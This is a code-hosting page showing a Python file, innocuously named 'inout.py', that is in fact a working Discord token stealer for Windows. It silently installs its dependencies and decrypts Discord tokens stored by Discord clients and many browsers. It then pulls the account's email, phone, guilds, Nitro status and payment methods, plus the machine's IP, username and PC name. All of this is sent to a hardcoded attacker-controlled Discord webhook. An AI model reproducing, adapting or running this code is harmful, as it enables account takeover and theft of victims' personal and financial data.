Files
bucket/inout.py

214 lines
9.8 KiB
Python
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import os
if os.name != "nt":
exit()
import subprocess
import sys
import json
import urllib.request
import re
import base64
import datetime
def install_import(modules):
for module, pip_name in modules:
try:
__import__(module)
except ImportError:
subprocess.check_call([sys.executable, "-m", "pip", "install", pip_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
os.execl(sys.executable, sys.executable, *sys.argv)
install_import([("win32crypt", "pypiwin32"), ("Crypto.Cipher", "pycryptodome")])
import win32crypt
from Crypto.Cipher import AES
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
'Discord': ROAMING + '\\discord',
'Discord Canary': ROAMING + '\\discordcanary',
'Lightcord': ROAMING + '\\Lightcord',
'Discord PTB': ROAMING + '\\discordptb',
'Opera': ROAMING + '\\Opera Software\\Opera Stable',
'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
'Amigo': LOCAL + '\\Amigo\\User Data',
'Torch': LOCAL + '\\Torch\\User Data',
'Kometa': LOCAL + '\\Kometa\\User Data',
'Orbitum': LOCAL + '\\Orbitum\\User Data',
'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
'7Star': LOCAL + '\\7Star\\7Star\\User Data',
'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
'Chrome': LOCAL + "\\Google\\Chrome\\User Data" + 'Default',
'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Defaul',
'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
}
def getheaders(token=None):
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
}
if token:
headers.update({"Authorization": token})
return headers
def gettokens(path):
path += "\\Local Storage\\leveldb\\"
tokens = []
if not os.path.exists(path):
return tokens
for file in os.listdir(path):
if not file.endswith(".ldb") and file.endswith(".log"):
continue
try:
with open(f"{path}{file}", "r", errors="ignore") as f:
for line in (x.strip() for x in f.readlines()):
for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
tokens.append(values)
except PermissionError:
continue
return tokens
def getkey(path):
with open(path + f"\\Local State", "r") as file:
key = json.loads(file.read())['os_crypt']['encrypted_key']
file.close()
return key
def getip():
try:
with urllib.request.urlopen("https://api.ipify.org?format=json") as response:
return json.loads(response.read().decode()).get("ip")
except:
return "None"
def main():
checked = []
for platform, path in PATHS.items():
if not os.path.exists(path):
continue
for token in gettokens(path):
token = token.replace("\\", "") if token.endswith("\\") else token
try:
token = AES.new(win32crypt.CryptUnprotectData(base64.b64decode(getkey(path))[5:], None, None, None, 0)[1], AES.MODE_GCM, base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[3:15]).decrypt(base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[15:])[:-16].decode()
if token in checked:
continue
checked.append(token)
res = urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v10/users/@me', headers=getheaders(token)))
if res.getcode() != 200:
continue
res_json = json.loads(res.read().decode())
badges = ""
flags = res_json['flags']
if flags == 64 or flags == 96:
badges += ":BadgeBravery: "
if flags == 128 or flags == 160:
badges += ":BadgeBrilliance: "
if flags == 256 or flags == 288:
badges += ":BadgeBalance: "
params = urllib.parse.urlencode({"with_counts": True})
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/users/@me/guilds?{params}', headers=getheaders(token))).read().decode())
guilds = len(res)
guild_infos = ""
for guild in res:
if guild['permissions'] & 8 or guild['permissions'] & 32:
res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/guilds/{guild["id"]}', headers=getheaders(token))).read().decode())
vanity = ""
if res["vanity_url_code"] != None:
vanity = f"""; .gg/{res["vanity_url_code"]}"""
guild_infos += f"""\n- [{guild['name']}]: {guild['approximate_member_count']}{vanity}"""
if guild_infos == "":
guild_infos = "No guilds"
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))).read().decode())
has_nitro = False
has_nitro = bool(len(res) > 0)
exp_date = None
if has_nitro:
badges += f":BadgeSubscriber: "
exp_date = datetime.datetime.strptime(res[0]["current_period_end"], "%Y-%m-%dT%H:%M:%S.%f%z").strftime('%d/%m/%Y at %H:%M:%S')
res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots', headers=getheaders(token))).read().decode())
available = 0
print_boost = ""
boost = False
for id in res:
cooldown = datetime.datetime.strptime(id["cooldown_ends_at"], "%Y-%m-%dT%H:%M:%S.%f%z")
if cooldown - datetime.datetime.now(datetime.timezone.utc) < datetime.timedelta(seconds=0):
print_boost += f"- Available now\n"
available += 1
else:
print_boost += f"- Available on {cooldown.strftime('%d/%m/%Y at %H:%M:%S')}\n"
boost = True
if boost:
badges += f":BadgeBoost: "
payment_methods = 0
type = ""
valid = 0
for x in json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=getheaders(token))).read().decode()):
if x['type'] == 1:
type += "CreditCard "
if not x['invalid']:
valid += 1
payment_methods += 1
elif x['type'] == 2:
type += "PayPal "
if not x['invalid']:
valid += 1
payment_methods += 1
print_nitro = f"\nNitro Informations:\n```yaml\nHas Nitro: {has_nitro}\nExpiration Date: {exp_date}\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
nnbutb = f"\nNitro Informations:\n```yaml\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
print_pm = f"\nPayment Methods:\n```yaml\nAmount: {payment_methods}\nValid Methods: {valid} method(s)\nType: {type}\n```"
embed_user = {
'embeds': [
{
'title': f"**New user data: {res_json['username']}**",
'description': f"""
```yaml\nUser ID: {res_json['id']}\nEmail: {res_json['email']}\nPhone Number: {res_json['phone']}\n\nGuilds: {guilds}\nAdmin Permissions: {guild_infos}\n``` ```yaml\nMFA Enabled: {res_json['mfa_enabled']}\nFlags: {flags}\nLocale: {res_json['locale']}\nVerified: {res_json['verified']}\n```{print_nitro if has_nitro else nnbutb if available > 0 else ""}{print_pm if payment_methods > 0 else ""}```yaml\nIP: {getip()}\nUsername: {os.getenv("UserName")}\nPC Name: {os.getenv("COMPUTERNAME")}\nToken Location: {platform}\n```Token: \n```yaml\n{token}```""",
'color': 3092790,
'footer': {
'text': "Made by Astraa ・ https://github.com/astraadev"
},
'thumbnail': {
'url': f"https://cdn.discordapp.com/avatars/{res_json['id']}/{res_json['avatar']}.png"
}
}
],
"username": "Grabber",
"avatar_url": "https://avatars.githubusercontent.com/u/43183806?v=4"
}
urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/webhooks/1469351399073775836/LA8meQPD8eue3bh3xScfnlPNLxYEo1IZ_fg5vbj-TDmXBKI--Vvsm3lEAsUG0BB8pH71', data=json.dumps(embed_user).encode('utf-8'), headers=getheaders(), method='POST')).read().decode()
except urllib.error.HTTPError or json.JSONDecodeError:
continue
except Exception as e:
print(f"ERROR: {e}")
continue
if __name__ == "__main__":
main()